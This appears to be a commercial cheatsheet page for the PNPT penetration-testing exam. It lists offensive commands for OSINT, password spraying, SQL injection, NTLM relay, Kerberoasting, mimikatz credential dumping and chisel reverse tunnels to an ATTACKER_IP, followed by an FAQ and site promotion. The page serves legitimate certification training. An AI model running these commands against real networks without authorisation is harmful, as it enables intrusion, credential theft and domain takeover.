# OSINT & External Recon
The PNPT starts where a real engagement does: external reconnaissance. Enumerate employees, emails and exposed services to build your initial foothold.
theHarvester -d TARGET.com -b all
subfinder -d TARGET.com -silent | httpx -silent -title -tech-detect
curl -s 'https://crt.sh/?q=%.TARGET.com&output=json' | jq -r '.[].name_value' | sort -u
nmap -p- --min-rate=1000 -T4 TARGET -oN ext_ports.txt
# External Access
Turn OSINT into a foothold: password spraying against exposed portals, web exploitation, and credential reuse.
netexec smb TARGET -u users.txt -p 'Season2026!' --continue-on-success
ffuf -u http://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404
sqlmap -r request.txt --batch --level 5 --risk 3 --dbs
# Active Directory
Once inside, Active Directory is the heart of the PNPT. Poison, relay, roast, and move laterally to Domain Admin.
responder -I eth0 -dwv
impacket-ntlmrelayx -tf targets.txt -smb2support
bloodhound-python -d domain.local -u USER -p PASS -c All -ns DC_IP
impacket-GetUserSPNs domain.local/USER:PASS -dc-ip DC_IP -request
impacket-secretsdump domain.local/ADMIN:PASS@DC_IP
evil-winrm -i TARGET -u USER -H NTLM_HASH
# Pivoting & Tunneling
The PNPT goes external → internal. Pivot from your external foothold into the corporate LAN.
./proxy -selfcert # ligolo-ng on Kali, then add the tunnel route
./chisel server -p 8080 --reverse # client: ./chisel client ATTACKER_IP:8080 R:socks
proxychains4 netexec smb 10.10.0.0/24
# Post-Exploitation
Harvest credentials, dump secrets and demonstrate impact once you own hosts.
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
whoami /priv # look for SeImpersonate → GodPotato for SYSTEM
netexec smb 10.10.0.0/24 -u ADMIN -H NTLM_HASH --shares
# Report & Debrief
The PNPT is not over at Domain Admin. You must deliver a professional report AND defend it in a 15-minute live debrief.
# Executive Summary → Attack Narrative (path to DA) → AD Compromise Summary → Findings → Recommendations
# Debrief prep: attack path diagram + 1 sentence "why" per step + remediation
# PNPT Exam Tips
Strategy for the 5-day exam, the report, and the live debrief.
❓ PNPT Frequently Asked Questions
The TCM Security PNPT is a 5-day hands-on exam against a realistic Active Directory network, followed by 2 days to write a professional report, and a mandatory 15-minute live debrief where you present your findings to a TCM assessor. You must compromise the domain and defend your methodology.
The debrief is a 15-minute live video call with a TCM assessor after you submit your report. You walk through your attack path and answer questions. It tests understanding, not just execution — you must explain WHY each step worked. A strong technical exam and report still need a solid debrief.
The PNPT is often seen as more beginner-friendly and realistic: strong external-to-internal and OSINT component, heavy Active Directory focus, no buffer overflow, and a live debrief. OSCP has standalone machines and a shorter 23h45 window. Both are respected; PNPT emphasizes a real engagement workflow.
theHarvester and OSINT tools, nmap, Responder and ntlmrelayx, BloodHound, impacket (GetUserSPNs, secretsdump, psexec), NetExec/CrackMapExec, evil-winrm, mimikatz, and ligolo-ng or chisel for pivoting. Report it like a real client engagement.
Yes — it is the core of the exam. After the external foothold you pivot internally and attack AD: LLMNR/NBT-NS poisoning (Responder), NTLM relay, Kerberoasting, pass-the-hash, token impersonation and lateral movement to Domain Admin.
Very important. Unlike most exams, the PNPT starts with an external OSINT phase — enumerating employees, emails and exposed services to build a foothold (for example a password spray against an exposed portal). OSINT feeds directly into initial access.
No. The PNPT does not include manual buffer overflow exploitation. It focuses on OSINT, external access, Active Directory, pivoting and reporting — a realistic internal network penetration test workflow.
Yes. The PNPT voucher includes one free retake, and TCM Security's model is designed to be accessible. Check the current TCM Security policy for exact retake and voucher details before scheduling.
A professional client-style report: executive summary, scope, attack narrative (path to Domain Admin), technical findings with severity and remediation, and strategic recommendations. It must be clear enough to present live during the 15-minute debrief.
Yes — as a preparation accelerator. The free mindmap organizes 12,020+ commands across PNPT domains (OSINT, AD, pivoting), the Pentest Space includes a dedicated PNPT report template with an AD Compromise Summary, and the AI Wizard generates a PNPT-style report. Always follow your exam rules.
📚 Related Resources
- Active Directory Cheatsheet — Responder to Domain Admin — the core of the PNPT internal phase
- CPTS Cheatsheet — The HTB enterprise pentest counterpart
- OSCP Cheatsheet — The OffSec counterpart — 150+ exam commands
- Nmap Cheatsheet — Complete nmap reference for external and internal scanning
- Pentest Report Guide — Structure and template for a report you can defend in the debrief
- Full Pentesting Cheatsheet — 200+ commands for web, network, Active Directory and privesc
Turn your findings into a PNPT report with an AD Compromise Summary — the AI Wizard has a dedicated PNPT format ready for your debrief.
Prepare your PNPT with 12,020+ commands
This cheatsheet is the surface. Pentest Mindmap organizes 12,020+ commands in 34 categories with instant search, a PNPT report template and an AI report generator.
Start free →